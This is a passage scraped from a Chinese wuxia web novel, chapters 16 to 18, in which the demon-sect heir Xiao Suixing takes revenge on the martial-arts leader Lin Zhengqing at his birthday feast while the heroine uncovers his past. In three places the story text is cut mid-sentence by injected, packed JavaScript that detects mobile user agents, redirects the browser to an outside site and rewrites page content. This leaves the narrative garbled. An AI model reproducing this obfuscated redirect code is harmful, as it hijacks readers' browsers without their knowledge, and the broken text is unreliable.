夏桃忍不住又瞟了他一眼。 这人是真的被夺舍了吗?! 16. 第十六章 夏桃觉得林旌口中的那个女人有点可怜。 在世时被丈夫冷落,死后丈夫虽然后悔了,但很快就找了个和她相似的替身,亏欠她的全都弥补到了替身身上,因为去世得太早,就连亲生骨肉对她这个生母也没什么印象。 据传她生前曾是名动天下的大美人,可死后,她在这世上好像没有留下什么痕迹。 林旌带着她们一行人到府邸中赏花游玩,因为马上就是林正清寿辰,宅邸中处处都是花团锦簇喜气洋洋的景象,唯独在路过一个偏僻之处时,夏桃发现那间小院毫无生气,十分冷清。 小院显然已经很久没有人居住了,里面全是无人打扫的枯枝败叶,一片凄冷破败的景象,但夏桃却看见枯萎的银杏树旁,搭建着一个很可爱的木质小秋千。 显然是给孩童玩的。 夏桃故作好奇地问:“林公子,这间院子怎么会这么荒凉?里面住的是什么人?” 林旌看了一眼院子,了然道:“这里已经许久不曾住人了。夏姑娘有所不知,我并不是我母亲生下的第一个孩子,在我之上本来还有个比我大一岁的哥哥,只是他很小的时候就因病离世了,我父亲担心母亲睹物思人,伤心过度,就封掉了这个院子。” 从之后林旌的叙述中,夏桃了解到,原来林旌母亲的亲生孩子不是只有林旌和林乐生,林旌是活下来中最大的那个,林乐生是最小的那个,而在他们之间,竟然还有两男一女三个孩子! 也就是说,林旌的母亲从嫁人之后就一直在怀孕生子,几乎都没有停下来过? 难怪年纪轻轻就去世了,这种生孩子的频率不把身体搞垮才怪了! 虽然夏桃也知道古代人讲究多子多福,但林旌母亲本就体弱多病吧?他父亲都没考虑过他妻子的身体吗? 可旁人说起这事都不认为这有什么问题,他们觉得林夫人在世时林楼主从未有过通房小妾,只和她一人生孩子,这么得丈夫宠爱,难道不是天大的福气? 夏桃觉得有点恶心。 她借口不舒服,让萧随星派人送她回客栈。 只是刚到客栈门口,夏桃就被人拦了下来。 拦住她的是个年纪和她相仿的少女。 那少女一身缟素,面色苍白,眼睛还有点肿,有种哭过太多次眼泪都已经干涸了的即视感,她望着夏桃,轻声道:“叨扰姑娘了,方才我看见姑娘从林宅出来……请问,姑娘是林家的客人吗?” 小仙女毫无戒心地点了点头:“是呀。三日后就是林楼主的寿宴,我是来参加寿宴的,你有什么事吗?” 得到了肯定的答复,那少女一言不发,突然直直地对着她跪了下去,小仙女吓了一跳,连忙伸手扶住她:“你这是做什么?!好端端怎么突然……” 少女哭着打断她的话:“姑娘既是林家的客人,可否求你帮我一个忙?” “你有事直说就行了,不要突然跪下来呀……” 小仙女把她扶进了客栈,又给她倒了杯水,关切地说:“我姓夏,你叫我夏姑娘就行了,你是有什么事要找林家吗?” “我要找的是武林盟主……”那少女似是没想到这仙女似的美人这么温柔好说话,鼻头一酸,眼泪顿时滚滚落下,“我姓樊,名灵秋,刀圣樊经武是我父亲……夏姑娘想必也听说了前不久千山派发生的惨案,家父与千山派五大长老是相识多年的旧友,只是应邀前去参加宴席,却没想竟然遇上了萧随星那个魔头……五大长老当场毙命,家父明明与其无冤无仇,却也被绞碎了心脉,惨死于那魔头之手……” “家母早逝,我自幼与父亲相依为命,还未报答养育之恩,就闻此噩耗!”樊灵秋忍不住痛哭了起来,“家父无辜丧命,身为子女,我本应为父报仇,只恨我天资愚钝,虽日日勤学苦练,功力却不及我父亲三成深厚……父亲和五大长老尚且不敌萧随星那魔头,更何况是我呢?可若是要让我眼睁睁看着这魔头逍遥法外,我又着实不甘心!” “这些天,我到处找父亲曾经的好友求助,可那些叔伯一听魔教的名号,就全都不战而退了!” “他们说我父亲身为‘天下第一刀’,竟也死于那魔头之手,可见那魔头功力之高绝非常人能够匹敌……如今江湖中有一战之力的恐怕就只有武林盟主林正清了,林前辈嫉恶如仇,在江湖上素有威名,所以我才会想到来益州求他相助……” “可是偃月楼家大业大,想见武林盟主的人何其多!我又没有接到寿宴的邀请,来这里这么多天了,还未见上林前辈一面……我也是急病乱投医,才会求到夏姑娘这里来……”樊灵秋泣声道,“夏姑娘既要参加三日后的寿宴,可否捎我一个?我只求见林前辈一面,绝不节外生枝,若你肯答应,事成后,我必当牛做马来报答夏姑娘的恩情!” 世间事真是荒诞,萧随星恐怕也不会想到,他的仇家竟然阴差阳错找到小仙女这里来了。 夏桃心中毫无波澜,面上却同情又怜悯地冲她温柔一笑:“不过是举手之劳,哪里需要你‘当牛做马’来报答恩情呢?樊姑娘不必忧心,三日后寿宴尽管来找我好了。” 见她这么轻易就答应了下来,樊灵秋自然是感激不尽,又哭又跪地谢了她好一会儿,才被夏桃哄着劝着离开了。 绿漪和几个侍女在一旁看着这场景,面上时不时出现欲言又止的表情,但似乎又不知道该说什么好,显得十分纠结。 夏桃全当自己看不见,撸着毛茸茸的小白兔,若有所思:“系统,我觉得……我好像发现了一个秘密。” 【什么秘密?】 “你知道吗?刚才见到那个‘芷姨’的时候,我就觉得她的眉眼有点熟悉,只是一时没想起到底像谁……但是我这会儿仔细想了想,我发现我可能知道她像谁了。” 【像谁?】 小白兔一边敷衍她,一边继续暴风吸入冰酥酪。 夏桃气得捏住了它的兔耳朵:“继续吃你的吧!胖成球算了!” 温柔善良的小仙女,在听当事人说了千山派的惨案后,内心当然不可能毫无波动,于是萧随星回到客栈后,就明显发现她好像有点闷闷不乐。 还没等他询问,她突然闷闷地开口了:“……我不想嫁给萧随星了。” 这个话题简直是突如其来。 黑衣少年微微一顿,若无其事地调侃道:“怎么?在医馆的时候,你不是还信誓旦旦地和我说要嫁给他的吗?为什么突然改变主意了?” “因为我发现他好坏!”小仙女气鼓鼓地把今天遇到樊灵秋的事复述了一遍,最后说,“……明明武功高强,却草菅人命,他是坏蛋,魔教也是坏蛋!我才不要和这种坏蛋扯上关系呢!况且……他杀了樊姑娘的父亲,害得樊姑娘那么伤心,我最看不得女孩子哭了……明明樊姑娘的父亲和萧随星无冤无仇,只是不忍见好友被害前去帮忙,结果就被杀了……” 她说话时,黑衣少年一直一言不发地听她说,直到她说完后,他才淡淡道:“他不该死吗?” “什么?” 小姮娥愣了一下。 黑衣少年歪了歪脑袋,似乎也有点困惑:“樊经武挡了萧随星的道,这种不自量力的人,难道不该死吗?” 小仙女惊呆了。 她完全没想到他会这样说,她怔怔地望着眼前少年俊美如玉的脸庞,突然觉得他好陌生,好像一瞬间,他就变成了某个她完全不认识的人。 “小星你、你在说什么呢?”小姮娥从未接触过这种逻辑,完全无法理解,以至于她都有点迷茫了,“什么、什么叫‘难道不该死吗’?难道他该死吗?你今天说话好奇怪……你……” 她语无伦次了起来,最后干脆不说话了,只用水汪汪的大眼睛一眨不眨地盯着他。 她的眼眸是浅浅的澄金色,里面毫无杂质,纯洁无暇得好像一眼就能望得到底。 被她这样看着,萧随星觉得心脏仿佛被什么扎了一下,如梦初醒,他好像突然意识到了自己现在哪儿,自己现在是谁,他呼吸滞了一瞬,然后又重新变回笑吟吟的模样:“我刚才是在开玩笑……好了,不提他了,反正也是无关之人——我带了冰糖葫芦,想不想尝尝?” 小仙女很久没有回答,她慢慢摇了摇脑袋,半晌,才小声说:“……喂兔兔吧,我不想吃。” “你那兔子都那么胖了,还能吃得下糖葫芦么?” “兔兔不胖,兔兔只是毛茸茸!”小姮娥就兔子的体型据理力争了一下,但很快就又蔫了下去,她神情低落,“……小星,我们什么时候回千山镇呢?我……我已经不想再在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他望着她雪白的小脸,忽然之间,他觉得自己很想吻她。 “你不用害怕。”他听见自己好像笑了一下,声音在慢慢地说,“我的武功很厉害,非常厉害,只要我不想,这世上没人能杀得了我。” “真的么?” “真的。” “那你要保证。” 她用湿润的眼眸望着他。 “嗯,我保证。” 他点了点头。 她终于破涕为笑,依偎进他怀里,软软地说:“但是参加完寿宴我们还是回千山镇好不好?我不回月宫了,你也不去闯荡江湖了,我们就这样永远在一起好不好?” “……好。” 他听见自己说。 小仙女又重新高兴了起来,她向来乐观,并不会一味被困在消极的情绪中,见他说了“好”,她似乎觉得万事大吉,于是又忘记了方才的害怕,娇声说着接下来这几天要他怎么陪她玩。 萧随星微笑着听她撒娇,他专注地望着她,似乎漫不经心,似乎气定神闲,可只有他自己知道…… 他快被一种恐怖又疯狂的情绪给吞没了。 他一直告诉她的,都是自己的假身份。 在她心里,他只是一个武功尚可,风趣幽默的猎户少年“小星”,她喜欢的也是这个猎户少年“小星”。 她不知道他是魔教中人,她不知道他是萧随星。 以往他觉得无所谓,大家萍水相逢泛泛之交,就算被揭穿也无所谓,就算她因此讨厌他恐惧他也无所谓。 可是现在不一样了。 现在不一样了。 他突然觉得惶恐。 惶恐于她发现自己的真实身份。 她根本没有真正认识过他,她喜欢的完全是他伪装出来的表象,是那个风趣幽默、会逗她哄她、会保护她照顾她的“小星”。 她从来没见过那个冷血扭曲、倨傲偏执、甚至杀人如麻的魔教少主萧随星。 她这么温柔善良,这么纯白无瑕,就连听到别人死了亲人都会难过……如果她知道他手上沾染了这么多的鲜血,接下来不久还会沾上更多的鲜血……她还会喜欢他吗? 这个答案不言而喻。 可他无法接受。 他无法接受——无法接受有朝一日,那双水汪汪的澄金色眼眸,在看向他时表露出的情绪不再是喜欢和依赖,而是害怕和厌恶。 他不能接受这种情况的出现。 他可以一辈子扮演她喜欢的“小星”,不会让“萧随星”有机会出现在她面前。 所以,她必须遵守承诺,必须永远喜欢他,永远和他在一起。 17. 第十七章 这几日林旌秉承着待客之道,一直带着他们在都阳城四处游玩。 林乐生虽然看不惯“娶了仙女姐姐的癞蛤蟆”,但是他却很喜欢和仙女姐姐一起玩,总是跟在夏桃身后,一口一个“桃姐姐”地叫着,两人很快便熟悉了起来。 二人单独相处时,他也愿意和她说些心里话。 “……小睿哥哥觉得芷姨偏心我和大哥,其实是他一叶障目了。芷姨对我们是不错,但是我知道,她心里最爱的其实还是小睿哥哥和珠珠妹妹……只不过继室难做,为了求得个好名声,不得不表现出对我们更好的样子来……其实很多好东西她还是私下留给了自己的孩子。” “不过这也没什么稀奇的,母亲更偏心自己的亲生儿女又不是什么错……”林乐生嘀咕道,“只是有时候,我还是会有点想我娘。” 小姮娥好奇道:“乐生的娘亲是个什么样的人呢?” 林乐生摇了摇头:“不知道,我出生后没多久她就血崩离世了……我从没见过我娘亲。但是长辈们都说我娘年轻的时候,是名动天下的大美人,说她温柔又善良,对谁都很好,见过她的人都很喜欢她。” “我曾经在父亲的书房里看见过我娘的画像,她穿着一件绣着绿竹纹的白裙,笑盈盈地望着我,看起来美极了!”林乐生眼睛亮亮地望着她,“就和桃姐姐一样温柔又漂亮,像天上的仙女!” 夏桃望着林乐生亮晶晶的眼睛,突然明白了他为什么这么喜欢她。 他年纪还这么小,还没到开窍的时候,又从小没有见过生母,对小仙女的好感来源大概不是男女之情,更多的应该是一种对“想象中完美母亲形象”的情感投射。 因为在他心中,母亲是一身白衣温柔美丽的神女,所以同样符合这个形象的小姮娥出现在他面前时,他才会自然而然地生出亲近之情。 夏桃有些感慨,但她并未说是什么,只是微微一笑,略过了这个话题。 …… 三日后。 都阳城终于迎来了等待已久的喜事。 偃月楼在江湖势力之大,就如林家在都阳城权势之盛。 如今朝廷式微,林正清身为武林盟主,在江湖中的地位和皇帝也没什么分别了,庆贺的宴席从林宅一路摆到了都阳湖畔,街边的酒楼、巷尾的茶室、湖中的画舫,到处都挂满了红彤彤的灯笼。 夜幕降临,整个都阳城都被映成了一片喜庆的红。 主宴的设宴地自然还是在林家府邸,这不是无名之辈可以涉足的地方,能来的人无一不是江湖中的英雄豪杰。 宴席上灯火煌煌,宛如白昼,桌上摆满了各种各样的美味珍馐,轻灵动人的丝竹之声不绝于耳,众人推杯换盏,大声谈笑。 高坐主位的男人,自然就是武林盟主林正清了。 或许是内力深厚的缘故,林正清看起来十分年轻,半点不像四十岁的男人,他生得一副清俊端正的面容,可以想见年轻时定然也是个温文尔雅的美男子,只不过如今权势渐盛,气场逐渐变得威严了起来。 升龙观观主多年前就与林正清相识,见他如此,不由笑道:“年轻时我就最不爱和林兄待在一块,每次行侠仗义,明明是我救下的漂亮姑娘,怎么全都含羞带怯地要对林兄以身相许?如今我都快成糟老头子了,林兄的风姿气度却是不减当年。” “你这臭道士年纪一把了花花肠子倒是不少!”一旁青焰坊的长老姚恒笑骂道,“人家姑娘就算看上你了又如何?你这道士难道还能还俗娶别人不成?” 升龙观观主嘻嘻笑道:“普通姑娘嘛,我自是不会还俗娶她,可若是芷夫人那般的绝世美人愿意嫁我,这道士不做了又如何?可惜呀,当年芷姑娘对林兄一往情深,没能看得上我。” 此话一出,有些人立刻微微变了脸色,他们都知道,他所说的“芷夫人”不是林正清现在的续弦陶芷岚,而是他的原配夫人秦芷。 有人连忙打圆场:“哎,都陈芝麻烂谷子的事了,提它干嘛?喝酒喝酒!” 然而升龙观观主却不理会他,他又喝了口酒,接着道:“芷夫人什么都好,就是看男人的眼光不行……若是当年选了我,也不至于年纪轻轻,便香消玉殒了不是?” 这句话,让在场的人声突然变得安静。 林正清脸上的笑意淡了下来,他不咸不淡地说:“明玄,你喝醉了。” 陶芷岚不愧是贤妻,对丈夫的一切潜台词都理解得十分透彻,闻言立刻让侍女扶升龙观观主去客房歇息,似乎的确是喝醉了,傅明玄也并未反抗。 宴会上的气氛重新变得其乐融融了起来。 选在这一年大办寿宴,自然是有讲究的。 这大概是林正清一生中最志得意满的时刻了,参悟多年,偃月楼祖传的功法“偃月十四式”终于被他练至圆满,神功大成,从此再没人能威胁到他武林至尊的地位。 江湖上一呼百应、人人敬仰,家中又有娇妻幼子相伴,长子林旌也如此听话出息,日后必能承他衣钵,他的人生可以说是完美到了极点。 过去的一切早已过去,大好的日子,这种晦气的小插曲不值得放在心上。 众人继续谈天说地、饮酒作乐,说着说着,就说到了不久前千山派发生的惨案,对五大长老和刀圣的死,众人自然是义愤填膺,说到动情之处更是痛斥萧随星那魔头猪狗不如,恨不得现在就集结门派弟子前去讨伐那贼子。 长辈们的话题,林乐生是不爱听的。 他坐在自己的位置上不便走动,眼神却时不时望向大门,焦急地扯着林旌的衣袖:“哥,桃姐姐和那个癞蛤蟆怎么还没来?你没告诉他们宴席在哪儿办吗?” 林旌也有点奇怪:“我说了……不过秦兄说他备了份大礼,可能会晚点来……看时辰,应该快到了吧。” “大礼?”林乐生不屑,“他一个九流商户,人能来就不错了,还能备什么大礼……” 话音刚落,一个轻飘飘的纸片突然砸在了林乐生头上,随即落在桌上。 林乐生“咦”了一声,拿起这个圆圆的纸片翻看:“这是什么?哪来的纸——” 想被扼住了喉咙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864791|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的声音突然卡住了。 因为他发现,出现在他面前的东西不是纸片。 而是一张惨白的、丧葬用的纸钱。 纸钱?这里这么会有纸钱? 宴席上接连响起疑惑的语气词,似乎也有东西飘到了旁人身上。 一阵幽风刮过,烛火摇曳,忽明忽暗。 无数惨白的纸钱从空中纷纷扬扬地坠下,刺目的白填满了所有人的视野,这场喜气洋洋的寿宴,似乎转瞬间就变成了一场鬼气森森的白事! 海神山鬼来座中,纸钱窸窣鸣旋风。 白色纸钱洒落一地,鬼灯一线,出现在众人面前的,是一个锦衣华服、眉目秾丽的俊美少年。 凄清恐怖的白色中,那少年望着高坐主位的林正清,微微笑道:“为给林前辈贺寿,晚辈特意备上了这份大礼,不知林前辈可还满意?” 突如其来的变故,让所有人的脸都绿了。 古时忌讳众多,特别是寿辰这种大日子,恨不得出现的全是吉利事物,一点晦气都不要沾,更何况是纸钱这种晦气到家的东西? 用纸钱当寿礼……这哪里是来贺寿的,这是来结仇的吧? 有脾气爆的汉子立刻便摔掉了手中的酒杯,拔剑怒喝道:“竖子无礼!你这小儿简直是胆大包天!你可知这是谁的寿宴?容得了你这样放肆?!” 林旌看到这少年后也惊呆了,瞠目结舌道:“秦、秦兄?你……你这是做什么?这些纸钱是……你为什么要做这种事?!” 那少年不回他的话,只是转头瞥了他一眼,他嘴角仍挂着笑,却不再是以往那样的笑,而是一种淡淡的、讥诮的笑。 林正清倒是很沉得住气,他面色平静,似乎并未因此动怒,只是微微转头看向林旌,问道:“旌儿,这位小友是你请来的客人?” “是、不是……”林旌也混乱了,“父亲,秦兄他……我也不知他为何……” 少年低声笑了起来,他打断林旌的话:“林前辈真是贵人多忘事……但我想,你就算忘得再多,唯独我,林前辈无论如何都不该忘的,是不是?” 林正清似乎被他的话所惑,他一动不动地望着眼前少年秾丽的眉眼,良久,好像突然想起了什么,他的表情微微抽动了一下……但,这不可能,这根本不可能……他明明已经…… 在场高手众多,也有人早就沉不住气了,扬声道:“阁下是林公子请来的客人,既是林公子的朋友,想来也是一位英雄侠少。如今无故搅乱盟主寿宴,究竟所为何事?” “在下并非有意打扰诸位庆贺。”少年彬彬有礼道,“只不过在下觉得如今这个场合不好,配不上这样盛大的喜事,想请诸位换个地点再继续宴席。” “换个地点?”那人嗤笑道,“阁下觉得,难道还有什么地点能比偃月楼更好吗?” “当然有。” 那少年很轻地叹了口气,仿佛恶鬼吹灭烛火,他握住腰间早已嗡鸣不止的佩剑,缓缓将它拔了出来,刀光清冽,映出他笑意森森的侧脸。 “阴曹地府啊。” 18. 第十八章 血腥残酷的战斗已经开始,夏桃这里,却是一片岁月静好的安宁景象。 今晚小仙女本应和他一同前去贺寿,但萧随星是去复仇的,又怎么可能把她带在身边呢? 所以他点燃了一支安睡香,这种香对人体无害,却有催眠作用,能让她沉沉睡上四个时辰。 等小仙女醒来,一切清洗都已结束,她最多只会懊恼自己贪睡错过了热闹,不会知道这天晚上到底发生了什么。 真是用心良苦。 但很可惜,这种香对小姮娥或许有用,但对夏桃本人,是完全无用的。 她此刻正一边吃着葡萄,一边听系统讲萧随星的八卦。 见她这么气定神闲,小白兔忍不住问道:【你是从什么时候猜到的?】 “猜到什么?” 夏桃明知故问。 【猜到萧随星其实就是芷夫人的儿子。】 “不算早。”她也不卖关子,直截了当地说,“其实在看见‘芷姨’的那一刻我就觉得她有点眼熟,后来想想,她眉眼秾丽,和萧随星很有几分相像。但萧随星又不可能是‘芷姨’的孩子,再结合他这一路以来奇怪的态度,他的身份也就不言而喻咯。” 夏桃又吃了颗葡萄:“所以,事情到底是怎么回事?萧随星不是魔教教主的儿子吗?怎么又和芷夫人扯上关系了?他和林正清又是什么关系?快让我吃口瓜!” 【其实也没什么好说的……】 话是这样讲,但小白兔还是很简洁地把整件事复述了一遍。 林旌说的倒也不算假,他的母亲——也就是秦芷,的确和林正清是青梅竹马的师兄妹,彼此之间感情深厚,但正因为从小一起长大,秦芷只把林正清当哥哥,对他没有“爱情”这方面的情愫。 一次外出历练,秦芷遇见了一名武功卓绝的少年侠客,两人结伴同行,彼此暗生情愫,可就在双方许下终生的时候,秦芷才知道,原来这名少年侠客的真实身份竟然是魔教教主萧鸿。 偃月楼是名门正派,和魔教一向势不两立,秦芷一时难以接受爱人的欺瞒,恰逢父亲病重的消息传来,于是她不顾萧鸿的苦苦挽留回了偃月楼,决定暂时分开冷静一段时间。 父亲病重时,秦芷一心一意侍疾,没时间想别的,可等到秦楼主病好之后,和恋人相处时的点点滴滴又浮现在了她的心头,难以释怀。 人能欺骗自己的大脑,却很难欺骗自己的心,她就是喜欢萧鸿,无论他是少年侠客也好,是魔教教主也好,她都喜欢他。 如果父亲不反对,内心深处,她还是想和他在一起。 秦楼主对女儿一向溺爱,得知她的心思后虽然沉默了几日,但最终还是松了口,让她带萧鸿回来见见他。 如果事情就这样继续发展下去,也许就是“魔教教主爱上正道侠女最终决定改邪归正”的经典套路,但是,有人显然是无法接受这个套路的。 这个人就是林正清。 林正清从小被秦楼主收养,因为天赋卓绝,所有人都说他将来必定会继承秦楼主的衣钵,迎娶小师妹。 虽然秦老先生没有明说,但从小一起长大,他早就把小师妹视作自己的所有物、自己的未婚妻来对待,他怎么可能接受秦芷投入别的男人的怀抱? 更何况,秦楼主当初收养他,本来就是想给女儿找个依靠,如果秦芷嫁给了别人,偃月楼还轮得到他来继承吗? 这是完全无法仔细探究的话题,但林正清却想得很深。 所以不久后,他就和“千山五绝”联手,秘密杀害秦老楼主并囚禁了秦芷,对外却只说秦老楼主是因病逝世,同时宣布了自己和秦芷的婚讯。 林正清当了这么多年的大师兄,在偃月楼很有威望,在众人看来他继承楼主之位然后迎娶小师妹是顺理成章的事,没人会怀疑这其中是否有什么猫腻。 而站在萧鸿的视角看,就是心上人接受不了自己的身份,回了偃月楼,嫁给了青梅竹马的大师兄,已经受过一次情伤的他同样不会自找没趣,再来偃月楼找秦芷求证。 林正清虽然杀了秦楼主,但他的确是喜欢秦芷的,可是感情之事强求不来,秦芷本就不喜欢他,如今他杀了她父亲,她就更不可能喜欢他。 不久后林正清就发现,秦芷怀孕了。 那时他和秦芷还未成亲,她怀的不可能是他的孩子,只可能是萧鸿那个魔头的孽种。 一想到喜欢的女人肚子里怀着别的男人的孩子,林正清就感到一阵恶心,秦芷在他心里立刻就从冰清玉洁的小师妹变成了不知廉耻的□□,他对这个□□情根深种,可这个□□却罔顾他的情意,一心只想着别的男人。 他对秦芷的爱意,从此变成了恨。 秦芷的噩梦也由此开始了。 【你不是觉得萧随星身上的“噬心蛊”有惩戒的意味吗?你猜对了。】系统说,【林正清把噬心蛊种到怀孕的秦芷身上,的确是为了惩戒她。因为只要她还爱着萧鸿,噬心蛊就会发作,她就会时刻感受到心脏被啃噬一般的痛楚。后来秦芷生下萧随星,噬心蛊的蛊虫也有一部分进入了萧随星的体内,直到现在也无法祛除。】 为了惩戒心有所属的秦芷,所以给她种下噬心蛊;为了惩罚她怀了别的男人的孩子,所以不顾她体弱肆意作践她;再时刻提醒她,她父亲会有此下场全是她的错,如果她不这么水性杨花,秦楼主怎么会死得不明不白? 因为秦芷选了萧鸿没有选他,林正清便深感耻辱,觉得自己输给了另一个男人,觉得秦芷完全是在把他的脸面放在地上狠狠践踏。 被践踏的脸面当然要千倍百倍地找回来,雄竞失败的男人大多如此,没能力挑战同性,怒火就只能对准女人。 秦芷表面上是他明媒正娶的夫人,实际不过是他用来“找回男人尊严”的玩物罢了。 林正清对一起长大的小师妹都如此狠毒,更不用说对待萧随星这个“孽种”了。 为了拿孩子要挟秦芷,林正清没有直接杀掉萧随星,而是想方设法地折磨他,萧随星从出生起就是林家的下人、沙包、出气筒,任何人都可以随便欺辱他,只要不把他弄死,没有人会过问。 萧随星就在这种地狱般的处境里长大,他不知道自己的父母是谁,也没有自己的名字,没有人关心他也没有人在乎他,他活得就像路边的杂草,走过的人都能随便踩他一脚。 萧随星七岁那年,秦芷难产离世,他彻底失去了要挟秦芷的作用,于是林正清决定除掉他。 但是,这个狠毒惯了的男人觉得就这样杀掉他还是太便宜这个孽种了,于是他搜集了各种发作缓慢但却能让人痛不欲生的奇毒,把它们全都喂给他吃下,又让下人把他扔到荒郊野外,想让他在极度的痛苦折磨中慢慢死去。 或许是上天也觉得萧随星命不该绝,这几种奇毒下在他体内,的确能让人痛不欲生,但是最痛苦的一段时间过去后,这些毒互相克制,竟然达成了一种诡异的平衡,没有真的要了他的命。 没能死掉的小萧随星就此开启了流浪的生活,他不敢让偃月楼的人知道自己还活着,所以只能往远离益州的方向走,一边流浪一边乞讨,也不知道吃了多少苦,就这样越走越远,最后竟然阴差阳错走到了魔教的地盘。 好在小萧随星长了一张和萧鸿很像的脸,所以不久后他就被教众发现带回了魔教,结束了流浪乞讨的生活。 “难怪见到林家人后他的态度那么奇怪……” 夏桃若有所思。 害死了母亲,还害得自己身中剧毒注定命短的仇人不但没有得到任何报应,反而活得很好——不仅练成了神功,在江湖上更是美名远扬人人敬仰的武林盟主,甚至他还找了肖似母亲的替身来“弥补”自己年轻时的遗憾。 他活得太好了,好到故人早已化作尘土,可他看起来还是这么神采奕奕,好像再活一百年也不成问题。 他看起来丝毫不曾愧疚,看起来从未做过噩梦,他活得太心安理得了,太权势赫赫了。 秦芷是谁,恐怕早被他忘到九霄云外了。 她要是萧随星,看到这样的场面,恨也要恨死了。 【糟糕……】小白兔突然面色凝重,【桃桃,你的任务恐怕要失败了!】 “啊?” 夏桃一脸问号。 【之前也说过了,这个世界的原型是正道和邪道对抗的武林群侠小说,萧随星就是那个代表邪道势力的“魔教教主”。】 【故事正式开始于五年后,那个时候他已经是魔教教主了,正道的少侠们会集结起来对抗魔教——这是整个故事的根基。】 【但是现在,因为你攻略得过于成功,萧随星生出了和你一起隐退江湖的心思,他已经不想当这个魔教教主了!那不完蛋了吗,整个故事直接没了呀!】 小白兔急得团团转:【虽然任务者可以改变剧情走向,但直接把整个故事彻底蝴蝶掉也是不行的!他如果真的不当这个魔教教主了,这个世界就会直接湮灭,到时候世界重启需要付出的能量可以直接把你的积分扣成负数!一辈子都还不清的那种!】 夏桃:“这、这种事情不要啊!” 【趁他还没回来,要不现在我们就消失吧!】小白兔开始出馊主意,【就让他以为小仙女已经回月宫好了!我们直接跑路吧!】 “可是他的攻略进度现在才到百分之九十五,还有百分之五的积分没拿呢!” 【那点积分就不要计较了吧!】 “不行!我可是攻略小达人!我不允许我完美的履历上出现这种瑕疵!” 【那你说怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870503|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 夏桃沉思了一下,心念一转,突然想到了一个好主意。 这个主意,既能保证刷满萧随星的好感度,又能保证他接下来会乖乖回去当他的魔教教主。 “不急。”她微微一笑,“跑路也是要讲逻辑的……就让他陪我再演最后一出好戏吧。” …… 就如同被笼罩在红灯笼下的都阳城一般,整个林府,都变成了一片血色。 风声猎猎,火光冲天。 无数黑烟在风中狂舞,像怨气深重的鬼魂在不住地挣扎、嚎叫。 一切都结束了,在他用剑穿透仇人心脏的那一刻,一切就结束了,萧随星从未听过这么美妙的声音,他终于明白了为什么古时有妃子喜欢听撕裂绢帛的声音,血液从伤口喷溅而出的瞬间,不就正像绢帛被撕碎那一瞬发出的声响么? 人命也像是绢帛,无论此前织就得多美好,只要被撕碎,就会变成毫无价值的废品,从此只能接受被人随手丢弃的命运。 萧随星一步步行走在庭院中,呼吸的每一口空气都带着血气,观众只有默默无言的尸骸,可他却像是要登上王座,由尸山血海铸成的王座。 想到这里,他低声笑了起来,笑声越来越大,仿佛要惊动林中的飞鸟,他的人生再也没有这样痛快淋漓、纵情生死的时刻了,因为他教会了林正清一个道理——神功大成又如何?“偃月十四式”又如何?在他面前这些所谓的神功所谓的天赋统统没用! 武林盟主算什么?魔教教主又算什么?!他终于向全天下宣布了一个事实,只有他才是真正的武林至尊!只有他才是真正的天下第一! 他持剑伫立在血雨腥风中,一时想要狂笑……一时又想要痛哭。 他终于回到了这里,终于把幼时地狱一般的地方变成了真正的地狱,其实他早就该来找林正清报仇了,但他特意让他多活了几天,因为他要等这一天——等他人生中最圆满的一天,他要在这一天夺走他的一切,他的家人、朋友、名誉、声望、地位——甚至他的生命。 灭门,然后杀掉一切和林正清有交情的人,清洗掉他在这世上存在过的所有痕迹——这才是复仇,这才是彻彻底底的复仇,为了这一天他已经忍耐了太久太久。 这么多年他也不知道自己到底是什么东西,身中剧毒还是活了下去,蛊虫噬心还是活了下去,他的生命力顽强到不像人,像鬼,像仇恨孕育出来的恶鬼,像吸食母亲性命、吸食兄弟姐妹性命活下去的恶鬼,他的人生只有一件事,就是复仇,他只为恨而活。 可是复仇成功后呢? 复仇成功后,他又该做什么? 既是为恨而活,恨没有了,那他接下来还能做什么? 他还能做什么? 他不知道。 胸口突然传来一丝痛觉。 萧随星后知后觉地低下头,望向心脏的位置。 他知道,那是噬心蛊发作的缘故。 暗淡的双眸逐渐恢复如常。 曾经锥心的痛楚,如今却成了救赎。 他突然想起,他已经不是孤家寡人了,即使没有恨,接下来他还是有很多事可以做。 他还有很多事可以做。 属下匆匆赶来向他汇报:“少主,已经清点完人头了,但是没看见林旌和林乐生的尸首,恐怕是被他们逃脱掉了……是否现在派人去找?” 萧随星恍若未闻,他没回答,他甚至看也不看他。 萧随星是奔着灭门来的,他要杀掉所有和林正清有关的人,他并没打算放过同母异父的弟弟妹妹,可此刻他却只想赶回客栈,无暇再分丝毫精力给旁人。 他跌跌撞撞地往外走,那里还有小仙女在等他。 …… 萧随星是打定主意要把“小星”这个角色扮演到底的,所以等他回到客栈时,他已经换下染血的衣袍,换上了干净的衣衫,重新变回了那个言笑晏晏、风流无暇的少年。 就好像什么都没有发生过。 他想,这次宴席没带她,等小仙女醒过来,一定会生气地和他哭闹,所以他特意买了些小礼物,准备拿来哄她开心。 可等他回到客栈时,却发现一位白衣少女正站在桂花树下等他。 那是本该还在睡梦中的小姮娥。 